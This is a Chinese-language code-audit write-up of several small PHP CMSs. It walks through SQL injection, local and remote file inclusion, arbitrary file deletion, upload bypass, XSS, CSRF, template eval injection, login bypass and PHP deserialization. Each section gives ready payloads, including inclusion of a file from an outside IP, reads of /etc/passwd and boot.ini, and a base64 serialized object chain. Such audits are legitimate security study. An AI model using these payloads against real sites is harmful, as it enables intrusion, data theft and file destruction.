代碼審計 | 記一次PHP入門代碼審計
#0x01 sql注入
###1.1 /admin/files/login.php 先看后臺/admin/files/login.php

可以看到沒有過濾就直接帶入查詢了而且還寫出報錯,這里就可以使用報錯注入 payload
user=11' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=11&login=yes

###1.2 /files/submit.php 留言板同理,全都沒做過濾


seay可以看到sql語句

###1.3 /files/content.php 然后就是content.php可以看到前面雖然過濾了引號但是后面就沒有過濾了


###1.4 /admin/files/editcolumn.php

其他的就不多說了 payload
http://127.0.0.1/cms/xhcms/admin/?r=editcolumn&type=1&id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%20--+

#0x02 文件包含 ###2.1 文件包含小tips 相關包含函數 require() require_once() include() include_once() 漏洞產生原因 可控變量,漏洞函數 ###2.1.1本地文件包含
php $filename = $_GET['filename']; include($filename); ?>

2.1.2有限制本地包含
php $filename = $_GET['filename']; include($filename.".html") ?>
%00截斷:條件:magic_quotes_gpc = Off php版本<5.3.4
shell.txt../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.html
filename=../../../../../../../boot.ini%00 長度截斷:條件:windows,點號需要長于256;linux 長于4096

2.1.3遠程文件包含
allow_url_fopen = On(是否允許打開遠程文件) allow_url_include = On(是否允許include/require遠程文件)

無限制遠程包含 有限制遠程包含
php include($_GET['filename'] . ".html"); ?> filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png? filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%23 filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%20
2.1.4偽協議包含
https://www.cnblogs.com/endust/p/11804767.html
php://filter php://input
Payload:?filename=php://filter/convert.base64-encode/resource=index.txt ?filename=php://input post ');?>


file:// data:// pchar:// zip://


最后一個pchar是利用一個壓縮包,里面存放為index.txt文件 ?filename=file:///D:/phpstudy/PHPTutorial/WWW/index.txt ?filename=data://text/plain, ?filename=phar://index.zip/index.txt
###2.2 index.php 繼續回到zzzcms可以看到index.php有很明顯的文件包含漏洞因為這里是可控的,但是截斷前提還是低版本


#0x03 任意文件刪除 這里我們來看看zzzphp
這里來到后臺隨便找個刪除按鈕抓包

可以看到這里是請求了save.php act參數為delfile,我們來跟進看一下

可以看到返回了delfile()函數,跟進一下

function delfile(){
$file=getform('path','post');
$file_path=file_path($file);
$safe_path=array('upload','template','runtime','backup');
if(arr_search($file_path,$safe_path)){
$file=$_SERVER['DOCUMENT_ROOT'].$file;
return del_file($file);
}
}
可以看到得到path,然后找到地址然后判斷路徑是否包含safe_path里面的值,如果包含就得到地址然后返回del_file()函數,跟進一下

跟進下ifstrin函數

可以看到就是做了簡單驗證

payload POST /cms/zzzphpV1.6.1/admin178/save.php?act=delfile path=/cms/zzzphpV1.6.1/template/../install/1.txt
#0x04 文件上傳 同樣先找個上傳點

可以看到請求的是save.php然后act參數為upload save.php?act=upload&uptype=image&upfolder=news

跟進一下up_load()函數

這里沒有做判斷然后就調用upload函數來上傳這里來看下這個函數

可以看到就是個黑名單驗證

添加一個asa

#0x05 xss 這里我們找到個留言板抓包


我們可以看到除了content都沒過濾,找個其他的地方插進去就可以了

###5.1 存在httponly,擴大化利用 我們都知道如果存在httponly就無法打到cookie,但是如果頁面存在phpinfo的話就可以,為什么呢,這里來看下一個phpinfo的頁面

這知道了把,跳轉用戶訪問phpinfo然后抓取里面的值就可以了
#0x06 csrf 如何判斷是否存在CSRF漏洞?1. 判斷是否驗證Referer 2. 判斷是否驗證Token 3. 判斷是否擁有Header頭部驗證
這里源碼有點問題,就大概講一下一些技巧首先就是自動加載可以添加一下代碼
</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> document</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">.</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">forms</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">0</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">].</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">submit</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">();</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: navy;">
就是js自動提交表單 一般繞過 1.Referer有時候只是判斷是否為空,這個我們就直接隨便寫個就行 2.判斷必須為yicunyiye.cn這個域名,這個我們可以拿我們自己的域名解析為yicunyiye.cn.hack.cn就可以 3.判斷為yicunyiye.cn/address.html,無解 然后就是不回顯這種的話就前提是可以post轉換為get然后再通過去加載執行,然后就是xss配合csrf,如果存在點為發文章處,只要加載了就執行了poc
src='http://aaa/1.html' />
#0x07 代碼執行 全局搜索eval


可以看到里面是存在一個變量可能存在代碼執行
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
這兩行可以知道要閉合前面的)而且要為真 payload就可以構造了 {if:assert(phpinfo())}{end if} 看一下誰調用了parserIfLabel不行再來搜下它的類ParserTemplate

可以看到save.php調用了 這里我們找個userinfo去寫進去

然后點擊會員中心


#0x08 邏輯漏洞 這里看到熊海cms

只要cookie存在user就可以繞過


直接繞過登錄
#0x09 反序列化 index.php
php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler";
?>
user.class.php
php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye";
$this->wel->handler($this->name);
}
}
?>
log.class.php
php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
看到index.php可以看到new了一個user對象,然后通過序列化加base64加密

轉到user.class.php

因為new了一個對象所以執行construct(),然后destruct()的時候調用handler方法輸出sk4
轉到log.class.php,可以很明確的看到有個文件包含

這里構造payload就很簡單了 O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}} 但是這里的空格用\x00轉義一下然后同理bs4轉碼
>>> s = base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')
>>> print(s)
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ=='
>>>
